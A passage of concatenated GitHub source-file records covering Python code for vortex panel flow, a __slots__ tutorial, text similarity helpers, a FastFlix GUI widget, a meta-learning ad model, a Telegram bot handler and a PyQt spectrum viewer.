yt*self.sx-xt*self.sy # rotate y\n return [ xp, yp ]\n \n # rotate velocity back to global coordinates\n def rotate_uv( self, up, vp):\n u = up*self.sx-vp*self.sy # reverse rotate u prime\n v = vp*self.sx+up*self.sy # reverse rotate v prime\n return [ u, v ]\n\n# plot the flow on a grid\ndef plot_flow(panels,alpha=0,xmax=2,N_grid=100):\n # define the grid\n X = numpy.linspace(-xmax, xmax, N_grid) # computes a 1D-array for x\n Y = numpy.linspace(-xmax, xmax, N_grid) # computes a 1D-array for y\n x, y = numpy.meshgrid(X, Y) # generates a mesh grid\n\n # get the uniform velocity on the grid\n u = numpy.cos(alpha)*numpy.ones((N_grid,N_grid))\n v = numpy.sin(alpha)*numpy.ones((N_grid,N_grid))\n \n # add the velocity contribution from each panel\n for p in panels:\n u0,v0 = p.velocity(x,y)\n u = u+u0\n v = v+v0\n \n # plot it\n pyplot.figure(figsize=(8,11)) # set size\n pyplot.xlabel('x', fontsize=16) # label x\n pyplot.ylabel('y', fontsize=16) # label y\n m = numpy.sqrt(u**2+v**2) # compute velocity magnitude\n velocity = pyplot.contourf(x, y, m) # plot magnitude contours\n cbar = pyplot.colorbar(velocity, orientation='horizontal')\n cbar.set_label('Velocity magnitude', fontsize=16);\n pyplot.quiver(x[::4,::4], y[::4,::4],\n u[::4,::4], v[::4,::4]) # plot vector field\n# pyplot.streamplot(x, y, u, v) # plots streamlines - this is slow!\n for p in panels: p.plot()\n\n# define the influence of panel_j on panel_i\ndef influence(panel_i,panel_j):\n u,v = panel_j.velocity(panel_i.xc,panel_i.yc,gamma=1)\n return u*panel_i.sx+v*panel_i.sy\n\n# construct the linear system\ndef construct_A_b(panels,alpha=0):\n # construct matrix\n N_panels = len(panels)\n A = numpy.empty((N_panels, N_panels), dtype=float) # empty matrix\n numpy.fill_diagonal(A, 0.5) # fill diagonal with 1/2\n for i, p_i in enumerate(panels):\n for j, p_j in enumerate(panels):\n if i != j: # off-diagonals\n A[i,j] = influence(p_i,p_j) # find influence\n \n # computes the RHS\n b = [-numpy.cos(alpha)*p.sx-numpy.sin(alpha)*p.sy for p in panels]\n return [A,b]\n\n# determine the vortex strength on a set of panels\ndef solve_gamma(panels,alpha=0):\n A,b = construct_A_b(panels,alpha) # construct linear system\n gamma = numpy.linalg.solve(A, b) # solve for gamma!\n for i,p_i in enumerate(panels):\n p_i.gamma = gamma[i] # update panels\n\n# determine the vortex panel strength with Kutta Condition\ndef solve_gamma_kutta(panels,alpha=0):\n A,b = construct_A_b(panels,alpha) # construct linear system\n A[:, 0] += 1 # gamma[0]+ ...\n A[:,-1] += 1 # gamma[N-1]=0\n gamma = numpy.linalg.solve(A, b) # solve for gamma!\n for i,p_i in enumerate(panels):\n p_i.gamma = gamma[i] # update panels\n\n\n### Geometries\n\n# make a circle\ndef make_circle(N,t_c=1):\n # define the end-points of the panels\n x_ends = numpy.cos(numpy.linspace(0, -2*numpy.pi, N+1))\n y_ends = numpy.sin(numpy.linspace(0, -2*numpy.pi, N+1))\n y_ends *= t_c\n \n # define the panels\n circle = numpy.empty(N, dtype=object)\n for i in xrange(N):\n circle[i] = Panel(x_ends[i], y_ends[i], x_ends[i+1], y_ends[i+1])\n \n return circle\n\n# make a jukowski foil\ndef make_jukowski( N, dx = 0.2, dy = 0, dr = 0 ):\n # define the circle\n x_ends = numpy.cos(numpy.linspace(0, -2*numpy.pi, N+1))\n y_ends = numpy.sin(numpy.linspace(0, -2*numpy.pi, N+1))\n \n # shift circle\n r = numpy.sqrt((1+dx)**2+dy**2)+dr\n x2_ends = r*x_ends-dx\n y2_ends = r*y_ends-dy\n r2_ends = x2_ends**2+y2_ends**2\n \n # apply jukowski mapping\n x3_ends = x2_ends*(1+1./r2_ends)/2\n y3_ends = y2_ends*(1-1./r2_ends)/2\n \n # define the panels\n foil = numpy.empty(N, dtype=object)\n for i in xrange(N):\n foil[i] = Panel(x3_ends[i], y3_ends[i], x3_ends[i+1], y3_ends[i+1])\n \n return foil\n","repo_name":"CipherHe/MarineHydromaster","sub_path":"lessons/VortexPanel.py","file_name":"VortexPanel.py","file_ext":"py","file_size_in_byte":5764,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"13897745432","text":"'''\r\nPython允许在定义class的时候,定义一个特殊的__slots__变量,来限制该class实例能添加的属性\r\n\r\n使用__slots__要注意,__slots__定义的属性仅对当前类实例起作用,对继承的子类是不起作用的\r\n\r\n除非在子类中也定义__slots__,这样,子类实例允许定义的属性就是自身的__slots__加上父类的__slots__\r\n'''\r\n#! /usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\n# 正常情况下,当我们定义了一个class,创建了一个class的实例后,我们可以给该实例绑定任何属性和方法,这就是动态语言的灵活性\r\nclass Student(object):\r\n __slots__ = ('name', 'age', 'set_age') # 用tuple定义允许绑定的属性名称\r\n\r\ns = Student()\r\ns.name = 'Michael' # 动态给实例绑定一个属性\r\n# s.score = 99\r\nprint(s.name)\r\n\r\ndef set_age(self, age): # 定义一个函数作为实例方法\r\n self.age = age\r\n\r\nfrom types import MethodType\r\ns.set_age = MethodType(set_age, s) # 给实例绑定一个方法\r\ns.set_age(25) # 调用实例方法\r\nprint(s.age) # 测试结果\r\n\r\ns2 = Student() # 创建新的实例\r\n# s2.set_age(25)\r\n\r\nclass Student2(Student):\r\n pass\r\n\r\nss = Student2()\r\nss.score = 99 # 绑定属性'score'\r\nprint(ss.score)\r\n\r\nclass Student3(Student):\r\n __slots__ = ('a') # 用tuple定义允许绑定的属性名称\r\n\r\nsss = Student3()\r\nsss.age = 1\r\nsss.score = 99\r\nprint(sss.score)","repo_name":"wetts/python-learning","sub_path":"study/24___slots__.py","file_name":"24___slots__.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18878845413","text":"from nltk.tokenize import sent_tokenize\n\n\ndef getDupes(a, b):\n \"\"\"Custom function to return duplicates between two lists\"\"\"\n dupeList = []\n for i in range(len(a)):\n if a[i] in b:\n dupeList.append(a[i])\n return dupeList\n\n\ndef removeDupes(dirtyList):\n \"\"\"Accepts a list, and removes all duplicates\"\"\"\n\n for item in dirtyList:\n while dirtyList.count(item) > 1:\n dirtyList.remove(item)\n\n return dirtyList\n\n\ndef makeChunks(a, n):\n \"\"\"Custom function to turn a list into appropriately sized chunks\"\"\"\n chunks = []\n for i in range(0, len(a) - n + 1):\n # print(a[i:i+n])\n chunks.append(a[i:i + n])\n\n # go through both lists, removing duplicates\n chunks = removeDupes(chunks)\n\n return chunks\n\n\ndef lines(a, b):\n \"\"\"Return lines in both a and b\"\"\"\n aList = removeDupes(a.split(\"\\n\"))\n bList = removeDupes(b.split(\"\\n\"))\n\n return getDupes(aList, bList)\n\n\ndef sentences(a, b):\n \"\"\"Return sentences in both a and b\"\"\"\n aSentences = removeDupes(sent_tokenize(a))\n bSentences = removeDupes(sent_tokenize(b))\n\n return getDupes(aSentences, bSentences)\n\n\ndef substrings(a, b, n):\n \"\"\"Return substrings of length n in both a and b\"\"\"\n aChunks = makeChunks(a, n)\n bChunks = makeChunks(b, n)\n\n return getDupes(aChunks, bChunks)\n","repo_name":"adagar/CS50x_Python","sub_path":"similarities/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25433880546","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport logging\n\nfrom box import Box, BoxList\nfrom qtpy import QtCore, QtGui, QtWidgets\n\nfrom fastflix.widgets.panels.audio_panel import AudioList\nfrom fastflix.widgets.panels.command_panel import CommandList\nfrom fastflix.widgets.panels.cover_panel import CoverPanel\nfrom fastflix.widgets.panels.status_panel import StatusPanel\nfrom fastflix.widgets.panels.subtitle_panel import SubtitleList\n\nlogger = logging.getLogger(\"fastflix\")\n\n\nclass VideoOptions(QtWidgets.QTabWidget):\n def __init__(self, parent, available_audio_encoders, log_queue):\n super().__init__(parent)\n self.main = parent\n\n self.selected = 0\n self.commands = CommandList(self)\n self.current_plugin = list(self.main.plugins.values())[0]\n self.current_settings = self.current_plugin.settings_panel(self, self.main)\n\n self.audio = AudioList(self, available_audio_encoders)\n self.subtitles = SubtitleList(self)\n self.status = StatusPanel(self, log_queue)\n self.attachments = CoverPanel(self)\n # self.subtitles.hide()\n self.addTab(self.current_settings, \"Quality\")\n self.addTab(self.audio, \"Audio\")\n self.addTab(self.subtitles, \"Subtitles\")\n self.addTab(self.attachments, \"Cover\")\n self.addTab(self.commands, \"Command List\")\n self.addTab(self.status, \"Encoding Status\")\n\n def change_conversion(self, conversion):\n conversion = conversion.strip()\n self.current_settings.close()\n self.current_plugin = self.main.plugins[conversion]\n self.current_settings = self.current_plugin.settings_panel(self, self.main)\n self.current_settings.show()\n self.removeTab(0)\n self.insertTab(0, self.current_settings, \"Quality\")\n self.setCurrentIndex(0)\n self.setTabEnabled(1, getattr(self.current_plugin, \"enable_audio\", True))\n self.setTabEnabled(2, getattr(self.current_plugin, \"enable_subtitles\", True))\n self.setTabEnabled(3, getattr(self.current_plugin, \"enable_attachments\", True))\n self.selected = conversion\n self.audio.allowed_formats(self.current_plugin.audio_formats)\n self.current_settings.new_source()\n self.main.page_update()\n\n def get_settings(self):\n settings = Box()\n settings.update(self.current_settings.get_settings())\n tracks = 1\n if getattr(self.current_plugin, \"enable_audio\", False):\n audio_settings = self.audio.get_settings()\n tracks += audio_settings.audio_track_count\n settings.update(audio_settings)\n if getattr(self.current_plugin, \"enable_subtitles\", False):\n subtitle_settings = self.subtitles.get_settings()\n tracks += subtitle_settings.subtitle_track_count\n settings.update(subtitle_settings)\n if getattr(self.current_plugin, \"enable_attachments\", False):\n settings.update(self.attachments.get_settings(out_stream_start_index=tracks))\n return settings\n\n def new_source(self):\n if getattr(self.current_plugin, \"enable_audio\", False):\n self.audio.new_source(self.current_plugin.audio_formats, starting_pos=1)\n if getattr(self.current_plugin, \"enable_subtitles\", False):\n self.subtitles.new_source(starting_pos=len(self.audio) + 1)\n if getattr(self.current_plugin, \"enable_attachments\", False):\n self.attachments.new_source(self.main.streams.attachment)\n self.current_settings.new_source()\n\n def refresh(self):\n if getattr(self.current_plugin, \"enable_audio\", False):\n self.audio.refresh(starting_pos=1)\n if getattr(self.current_plugin, \"enable_subtitles\", False):\n self.subtitles.refresh(starting_pos=len(self.audio) + 1)\n","repo_name":"buckeytuker/FastFlix","sub_path":"fastflix/widgets/video_options.py","file_name":"video_options.py","file_ext":"py","file_size_in_byte":3804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"15705713433","text":"# Day 50 - Problem 56\r\n\r\n# Challenge\r\n# Write a Python program to flip a coin 1000 times and count heads and tails.\r\n\r\n\r\nimport random\r\n\r\n\r\ndef coin_flips(n):\r\n flip_count = {\r\n 'heads': 0,\r\n 'tails': 0\r\n }\r\n for i in range(n):\r\n if random.randint(0, 1) == 0:\r\n flip_count['heads'] += 1\r\n else:\r\n flip_count['tails'] += 1\r\n\r\n return flip_count\r\n\r\n\r\nn = 1000\r\nprint(coin_flips(n))\r\n","repo_name":"jeffreytjs/100DayOfCode","sub_path":"math/flip_a_coin.py","file_name":"flip_a_coin.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"74738689331","text":"import torch\nfrom torch.utils.data import DataLoader, TensorDataset\nimport pandas as pd\nimport numpy as np\nimport tqdm\nfrom tensorflow import keras\nfrom metamodel import MetaModel\nfrom sklearn.metrics import roc_auc_score\nimport pickle\nfrom utils import Averager, Stoper\nimport copy\nimport math\nimport random\n\nclass RunLookalike():\n def __init__(self,\n config,\n base_model_name\n ):\n self.use_cuda = config['use_cuda']\n self.base_model_name = base_model_name\n self.batchsize = config['batchsize']\n self.emb_dim = config['emb_dim']\n self.weight_decay = config['weight_decay']\n self.local_train_lr = config['local_train_lr']\n self.local_test_lr = config['local_test_lr']\n self.global_lr = config['global_lr']\n self.epoch = config['epoch']\n self.root_path = config['root_path']\n self.is_meta = config['is_meta']\n self.task_count = config['task_count']\n self.num_output = config['num_output']\n self.sample_method = config['sample_method']\n self.num_expert = config['num_expert']\n self.mlp_dims = config['model']['mlp']['dims']\n self.dropout = config['model']['mlp']['dropout']\n self.train_stage1_path = self.root_path + 'train_stage1.pkl'\n self.train_stage2_path = self.root_path + 'train_stage2.pkl'\n self.test_hot_stage1_path = self.root_path + 'test_hot_stage1.pkl'\n self.test_hot_stage2_path = self.root_path + 'test_hot_stage2.pkl'\n self.test_cold_stage1_path = self.root_path + 'test_cold_stage1.pkl'\n self.test_cold_stage2_path = self.root_path + 'test_cold_stage2.pkl'\n\n\n self.static_context_col = ['carrier', 'consumptionAbility', 'LBS', 'age',\n 'education', 'gender', 'house']\n self.dynamic_context_col = ['interest1', 'interest2', 'interest3', 'kw1', 'kw2', 'topic1', 'topic2']#['interest1', 'interest2', 'interest3', 'kw1', 'kw2', 'topic1', 'topic2']\n self.ad_col = ['advertiserId', 'campaignId', 'creativeSize', 'adCategoryId', 'productId', 'productType']\n self.col_length_name = [x + '_length' for x in self.dynamic_context_col]\n self.ad_max_ids = {\n 'advertiserId': 78,\n 'campaignId': 137,\n 'creativeSize': 14,\n 'adCategoryId': 39,\n 'productId': 32,\n 'productType': 3,\n }\n self.static_max_ids = {\n 'carrier': 3,\n 'consumptionAbility': 2,\n 'LBS': 855,\n 'age': 5,\n 'education': 7,\n 'gender': 2,\n 'house': 1,\n }\n self.dynamic_max_ids = {\n 'interest1': 124,\n 'interest2': 82,\n 'interest3': 12,\n 'kw1': 263312,\n 'kw2': 49780,\n 'topic1': 10002,\n 'topic2': 9984\n }\n self.columns = {\n 'static': self.static_context_col,\n 'dynamic': self.dynamic_context_col,\n 'ad': self.ad_col\n }\n self.max_ids = {\n 'static': self.static_max_ids,\n 'dynamic': self.dynamic_max_ids,\n 'ad': self.ad_max_ids\n }\n self.label_col = 'label'\n self.train_col = self.static_context_col + self.dynamic_context_col + self.col_length_name + self.ad_col # [self.ID_col] + self.item_col + self.context_col\n self.all_col = [self.label_col, 'aid'] + self.static_context_col + self.dynamic_context_col + self.col_length_name + self.ad_col\n\n def read_pkl(self, path):\n with open(path, \"rb\") as f:\n data = pickle.load(f)\n return data\n\n def read_data(self, path):\n data = self.read_pkl(path)\n return data\n\n\n def get_train_data(self):\n print('========Reading data========')\n data_train_stage1 = self.read_data(self.train_stage1_path)[self.all_col]\n print('train stage1 {} '.format(data_train_stage1.shape[0]))\n\n data_train_stage2 = self.read_data(self.train_stage2_path)[self.all_col]\n print('train stage2 {} '.format(data_train_stage2.shape[0]))\n\n return data_train_stage1, data_train_stage2\n\n def get_test_hot_data(self):\n print('========Reading data========')\n\n data_test_hot_stage1 = self.read_data(self.test_hot_stage1_path)[self.all_col]\n print('test hot stage1 {} '.format(data_test_hot_stage1.shape[0]))\n\n data_test_hot_stage2 = self.read_data(self.test_hot_stage2_path)[self.all_col]\n print('test hot stage2 {} '.format(data_test_hot_stage2.shape[0]))\n\n return data_test_hot_stage1, data_test_hot_stage2\n\n def get_test_cold_data(self):\n print('========Reading data========')\n\n data_test_cold_stage1 = self.read_data(self.test_cold_stage1_path)[self.all_col]\n print('test cold stage1 {} '.format(data_test_cold_stage1.shape[0]))\n\n data_test_cold_stage2 = self.read_data(self.test_cold_stage2_path)[self.all_col]\n print('test cold stage2 {} '.format(data_test_cold_stage2.shape[0]))\n\n return data_test_cold_stage1, data_test_cold_stage2\n\n def get_model(self):\n if self.base_model_name == 'WD':\n model = MetaModel(col_names = self.columns, max_ids = self.max_ids, embed_dim = self.emb_dim,\n mlp_dims = self.mlp_dims, dropout = self.dropout, use_cuda = self.use_cuda,\n local_lr = self.local_train_lr, global_lr = self.global_lr, weight_decay = self.weight_decay,\n base_model_name = self.base_model_name, num_expert = self.num_expert, num_output = self.num_output)\n else:\n raise ValueError('Unknown base model: ' + self.base_model_name)\n\n return model.cuda() if self.use_cuda else model\n\n def get_criterion(self):\n criterion = torch.nn.BCELoss()\n return criterion\n\n def eval_auc(self, targets, predicts):\n return roc_auc_score(targets, predicts)\n\n def get_optimizer(self, model):\n optimizer = torch.optim.Adam(params=model.parameters(), lr=self.local_test_lr, weight_decay=self.weight_decay)\n return optimizer\n\n def train_stage(self, data_train_stage1, data_train_stage2, model, epoch):\n print('Training Epoch {}:'.format(epoch + 1))\n model.train()\n aid_set = list(set(data_train_stage1.aid))\n avg_loss = Averager()\n data_train = data_train_stage1\n n_samples = data_train.shape[0]\n n_batch = int(np.ceil(n_samples / self.batchsize))\n if self.sample_method == 'normal':\n list_prob = []\n for aid in aid_set:\n list_prob.append(data_train_stage1[data_train_stage1.aid == aid].shape[0])\n list_prob_sum = sum(list_prob)\n for i in range(len(list_prob)):\n list_prob[i] = list_prob[i] / list_prob_sum\n elif self.sample_method == 'sqrt':\n list_prob = []\n for aid in aid_set:\n list_prob.append(math.sqrt(data_train_stage1[data_train_stage1.aid == aid].shape[0]))\n list_prob_sum = sum(list_prob)\n for i in range(len(list_prob)):\n list_prob[i] = list_prob[i] / list_prob_sum\n for i_batch in tqdm.tqdm(range(n_batch)):\n if (self.sample_method == 'normal') or (self.sample_method == 'sqrt'):\n batch_aid_set = np.random.choice(aid_set, size=self.task_count, replace=False, p=list_prob)#random.sample(aid_set, 5)\n elif self.sample_method == 'unit':\n batch_aid_set = random.sample(aid_set, self.task_count)\n\n list_sup_x, list_sup_y, list_qry_x, list_qry_y = list(), list(), list(), list()\n for aid in batch_aid_set:\n\n batch_sup = data_train[data_train.aid == aid].sample(self.batchsize)\n batch_qry = data_train[data_train.aid == aid].sample(self.batchsize)\n\n batch_sup_x = batch_sup[self.train_col]\n batch_sup_y = batch_sup[self.label_col].values\n batch_qry_x = batch_qry[self.train_col]\n batch_qry_y = batch_qry[self.label_col].values\n\n list_sup_x.append(batch_sup_x)\n list_sup_y.append(batch_sup_y)\n list_qry_x.append(batch_qry_x)\n list_qry_y.append(batch_qry_y)\n\n loss = model.global_update(list_sup_x, list_sup_y, list_qry_x, list_qry_y)\n avg_loss.add(loss.item())\n print('Training Epoch {}; Loss {}; '.format(epoch + 1, avg_loss.item()))\n\n def test_train(self, data_train, model, criterion, optimizer, epoch):\n model.train()\n n_samples = data_train.shape[0]\n data_label = data_train[self.label_col]\n data_train = data_train[self.train_col]\n n_batch = int(np.ceil(n_samples / self.batchsize))\n for i_batch in range(n_batch):\n batch_x = data_train.iloc[i_batch * self.batchsize: (i_batch + 1) * self.batchsize]\n batch_y = data_label.iloc[i_batch * self.batchsize: (i_batch + 1) * self.batchsize].values\n\n pred = model(batch_x)\n\n label = torch.from_numpy(batch_y.astype('float32')).cuda()\n loss = criterion(pred, label)\n\n model.zero_grad()\n loss.backward()\n optimizer.step()\n\n def test_eval(self, data_test, model):\n model.eval()\n targets, predicts = list(), list()\n with torch.no_grad():\n n_samples_test = data_test.shape[0]\n n_batch_test = int(np.ceil(n_samples_test / self.batchsize))\n for i_batch in range(n_batch_test):\n batch_x = data_test.iloc[i_batch * self.batchsize: (i_batch + 1) * self.batchsize][self.train_col]\n batch_y = data_test.iloc[i_batch * self.batchsize: (i_batch + 1) * self.batchsize][\n self.label_col].values\n y = model(batch_x)\n targets.extend(batch_y.tolist())\n predicts.extend(y.tolist())\n return targets, predicts\n\n def test_stage(self, data_test_stage1, data_test_stage2, model, criterion, stage):\n aid_set = set(data_test_stage1.aid)\n init_model = copy.deepcopy(model.state_dict())\n all_targets, all_predicts = list(), list()\n gauc = 0\n avg_precision = 0\n avg_recall = 0\n for aid in aid_set:\n task_test_stage1 = data_test_stage1[data_test_stage1.aid == aid]\n task_test_stage2 = data_test_stage2[data_test_stage2.aid == aid]\n model.load_state_dict(init_model)\n optimizer = self.get_optimizer(model)\n for i in range(2):\n self.test_train(task_test_stage1.sample(frac=1), model, criterion, optimizer, i)\n targets, predicts = self.test_eval(task_test_stage2, model)\n all_targets.extend(targets)\n all_predicts.extend(predicts)\n test_auc = self.eval_auc(targets, predicts)\n topk = int(len(targets) * 0.05)\n targets = np.array(targets)\n predicts = np.array(predicts)\n at_index = set(np.argwhere(targets == 1).reshape(-1).tolist())\n cdd_index = set(np.argpartition(predicts, -topk)[-topk:].tolist())\n precision = len(at_index & cdd_index) / len(cdd_index)\n recall = len(at_index & cdd_index) / len(at_index)\n print('Aid {}; AUC {}; precision {}; recall {}'.format(aid, test_auc, precision, recall))\n gauc += test_auc\n avg_precision += precision\n avg_recall += recall\n auc = self.eval_auc(all_targets, all_predicts)\n model.load_state_dict(init_model)\n result = 'Stage {}; AUC {}; GAUC {}; Precision {}; Recall {};\\n'.format(stage, auc, gauc / len(aid_set), avg_precision / len(aid_set), avg_recall / len(aid_set))\n print(result)\n return result\n\n def main(self):\n model = self.get_model()\n print(model)\n criterion = self.get_criterion()\n data_train_stage1, data_train_stage2 = self.get_train_data()\n for i_epoch in range(self.epoch):\n self.train_stage(data_train_stage1, data_train_stage2, model, i_epoch)\n del data_train_stage1, data_train_stage2\n torch.save(model.state_dict(),\n 'parameter_{}_{}_{}.pkl'.format(self.task_count, self.emb_dim, self.local_train_lr))\n model.load_state_dict(\n torch.load('parameter_{}_{}_{}.pkl'.format(self.task_count, self.emb_dim, self.local_train_lr)))\n print(\"=========================test hot aid===========================\")\n data_test_hot_stage1, data_test_hot_stage2 = self.get_test_hot_data()\n result_hot = self.test_stage(data_test_hot_stage1, data_test_hot_stage2, model, criterion, 'hot')\n del data_test_hot_stage1, data_test_hot_stage2\n\n print(\"=========================test cold aid===========================\")\n data_test_cold_stage1, data_test_cold_stage2 = self.get_test_cold_data()\n result_cold = self.test_stage(data_test_cold_stage1, data_test_cold_stage2, model, criterion, 'cold')\n\n file = open('emb{}_result_file'.format(self.emb_dim), 'a+')\n file.write(\n 'task_count: {}; embed_size: {}; local_train_lr: {}; local_test_lr: {}; num_expert: {}; num_output: {}\\n'.format(\n self.task_count,\n self.emb_dim,\n self.local_train_lr,\n self.local_test_lr,\n self.num_expert, self.num_output))\n file.write(result_hot)\n file.write(result_cold)\n file.close()","repo_name":"easezyc/deep-transfer-learning","sub_path":"Application/audience expansion/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":13629,"program_lang":"python","lang":"en","doc_type":"code","stars":788,"dataset":"github-code","pt":"21"} +{"seq_id":"19649802107","text":"import json\r\nimport os\r\nimport logging\r\n\r\nfrom aiogram import types\r\nfrom dispatcher import dp\r\nfrom classes import GetDataFromUser, GetDataFromChat\r\n\r\nconfig = open(os.getcwd() + \"/config.json\", encoding=\"UTF-8\")\r\ndata = json.loads(config.read())\r\nconfig.close()\r\n\r\n@dp.message_handler(commands=['profile'])\r\nasync def profile_handler(message: types.Message):\r\n try:\r\n if message.chat.id != message.from_user.id:\r\n chat = GetDataFromChat.export_data_from_chat(chat=message.chat.id)\r\n if chat[\"working\"] is False:\r\n return\r\n\r\n value = GetDataFromUser.is_user_data(message.from_user.id)\r\n if message.chat.id == message.from_user.id and not value:\r\n GetDataFromUser.create_user_data(message.from_user.id)\r\n\r\n if message.chat.id != message.from_user.id and not value:\r\n return\r\n\r\n data_user = GetDataFromUser.get_data_user(message.from_user.id)\r\n\r\n profile = f'{data[\"emojio\"]} {message.from_user.full_name}, ваш профиль:\\n\\n'\r\n profile += f'📌 Ваш ID: *{data_user[\"player_uid\"]}*\\n'\r\n profile += f'💰 Баланс: *{data_user[\"player_balance\"]:,d} $*'\r\n if data_user[\"player_referal_balance\"] != 0:\r\n profile += f'\\n💸 Реф.Баланс: *{data_user[\"player_referal_balance\"]:,d} $*'\r\n\r\n return await message.reply(text=profile)\r\n except Exception as e:\r\n logging.error(e, exc_info=True)\r\n","repo_name":"kreeeeeel/telegram","sub_path":"function/player/profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14663456704","text":"#\r\n#--------------------------Ejercicio 14---------------------------------\r\n#\r\n#Escribí un programa que permita al usuario ingresar los montos de las \r\n#compras de un cliente (se desconoce la cantidad de datos que cargará,\r\n#la cual puede cambiar en cada ejecución), cortando el ingreso de datos\r\n#cuando el usuario ingrese el monto 0. Si ingresa un monto negativo, no\r\n#se debe procesar y se debe pedir que ingrese un nuevo monto. Al \r\n#finalizar, informar el total a pagar teniendo que cuenta que, si las\r\n#ventas superan el monto total de 1000, se le debe aplicar un 10% \r\n#de descuento.\r\n#-----------------------------------------------------------------------\r\n#\r\ndef compras(precio):\r\n\tvalor = float(input(\"Ingrese el valor de su compra:\"))\r\n\twhile valor != 0:\r\n\t\tprecio.append(valor)\r\n\t\tif valor < 0:\r\n\t\t\tprint(\"El valor ingresado es negativo, intente de nuevo.\")\r\n\t\tvalor = float(input(\"Ingrese el valor de su compra:\"))\r\nnombre = str(input(\"Por favor, ingrese su nombre: \"))\r\nprint(\"\\n\",nombre,\" ingrese los valores de sus compras, para finalizar la lista, precione 0.\\n\")\r\nprecio =[]\r\ncompras(precio)\r\nprint(\"La suma total de gastos es de: \",sum(precio))\r\nif sum(precio)>1000:\r\n\tprint(\"Su monto supera los $1000, le aplicamos un descuento del 10%, su monto total es de: \",sum(precio)-sum(precio)*0.1)\r\n","repo_name":"GioSimoni/Practicas","sub_path":"Practica14.py","file_name":"Practica14.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17211879226","text":"import sys\n\nfrom numpy.core.shape_base import block\n#PyQt5中使用的基本控件都在PyQt5.QtWidgets模块中\nfrom Ui_frame import Ui_MainWindow\n#from settings import setting\nimport sys\nfrom PyQt5 import QtGui\nfrom PyQt5 import QtCore\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QSizePolicy, QFileDialog\nimport pyqtgraph as pg\nfrom pyqtgraph import exporters\nimport numpy as np\nfrom skimage.measure import block_reduce\nfrom client import receiver\nfrom threading import Thread\nimport time\nfrom scipy import signal\n\nfrom brush import CurveWidget,ScatterWidget\n\ndef clearLayout(layout):\n while layout.count():\n child = layout.takeAt(0)\n if child.widget():\n child.widget().deleteLater()\n\nclass CommonHelper:\n def __init__(self):\n pass\n @staticmethod\n def readQss(style):\n with open(style,\"r\") as f:\n return f.read()\n\n\nclass MainWindow(QMainWindow,Ui_MainWindow):\n def __init__(self):\n super().__init__()\n self.setupUi(self)\n self.collection_settings_save.clicked.connect(self.collections_setting_func)\n #self.graph = pg.PlotWidget(self)\n self.divided_graph_curve = CurveWidget(parent=None)\n self.divided_graph_scatter = ScatterWidget(parent=None)\n self.gridLayout.addWidget(self.divided_graph_curve)\n self.rawdata = []\n #self.binned = np.zeros(1024)\n self.buffer = []\n #self.original = np.histogram(np.random.normal(size=40960),bins=4096)[0]\n self.original = []\n self.binned = self.original.copy()\n \n self.start_button.clicked.connect(self.start_collection)\n self.pause_button.clicked.connect(self.pause_collection)\n self.end_button.clicked.connect(self.end_collection)\n self.on_collection = False\n self.status = \"End\"\n self.end_option = \"Time\"\n self.full_time = 0\n self.full_count = 0\n \n self.disp = QtWidgets.QLabel()\n self.collection_setting_display.addWidget(self.disp)\n self.connection_disp = QtWidgets.QLabel()\n self.connection_icon_layout.addWidget(self.connection_disp)\n self.link_source.clicked.connect(self.link)\n self.cut_source.clicked.connect(self.cut)\n\n self.timer = QtCore.QTimer()\n self.timer.timeout.connect(self.update_data)\n self.timer.timeout.connect(self.update_plot)\n #self.timer.start(1000)\n\n self.global_time = 0\n self.start_time = 0\n self.end_time = 0\n\n self.plot_option = self.plot_method.currentText()\n self.expand_option = \"Original\"\n self.display_setting_save.clicked.connect(self.display_setting_func)\n\n self.source = \"Simulation\"\n #self.receiver_agent = receiver(\"127.0.0.1\",6688,1024)\n\n self.export_spectrum.clicked.connect(self.export_image)\n self.set_path.clicked.connect(self.new_path)\n\n qssStyle = CommonHelper.readQss(\"qss/MacOS.qss\")\n self.setStyleSheet(qssStyle)\n\n self.log_option = \"No\"\n \n\n def display_setting_func(self):\n self.plot_option = self.plot_method.currentText()\n self.expand_option = self.curve_expansion.currentText()\n lw = int(self.lower_bound.text())\n hi = int(self.upper_bound.text())\n y_range = int(self.count_range.text())\n self.log_option = self.log_count.currentText()\n\n if self.plot_option == \"Line\":\n clearLayout(self.gridLayout)\n self.divided_graph_curve = CurveWidget(parent=None)\n self.gridLayout.addWidget(self.divided_graph_curve)\n self.divided_graph_curve.main_plotter.setXRange(lw,hi)\n self.divided_graph_curve.main_plotter.setYRange(0,y_range)\n self.on_collection = True\n self.update_plot()\n self.on_collection = False\n print(\"Line show\")\n \n elif self.plot_option == \"Scatter\":\n clearLayout(self.gridLayout)\n self.divided_graph_scatter = ScatterWidget(parent=None)\n self.gridLayout.addWidget(self.divided_graph_scatter)\n self.divided_graph_scatter.main_plotter.setXRange(lw,hi)\n self.divided_graph_scatter.main_plotter.setYRange(0,y_range)\n self.on_collection = True\n self.update_plot()\n self.on_collection = False\n print(\"Scatter show\")\n\n\n\n def collections_setting_func(self):\n print(self.collection_source.currentText())\n \n self.source = self.collection_source.currentText()\n if self.count_time_option.isChecked():\n self.end_option = \"Time\"\n self.full_time = float(self.count_time_setting.text())\n print(\"Expected time: {}\".format(self.full_time))\n elif self.total_count_option.isChecked():\n self.end_option = \"Count\"\n self.full_count = float(self.tota_count_setting.text())\n print(\"Expected count: {}\".format(self.full_count))\n \n 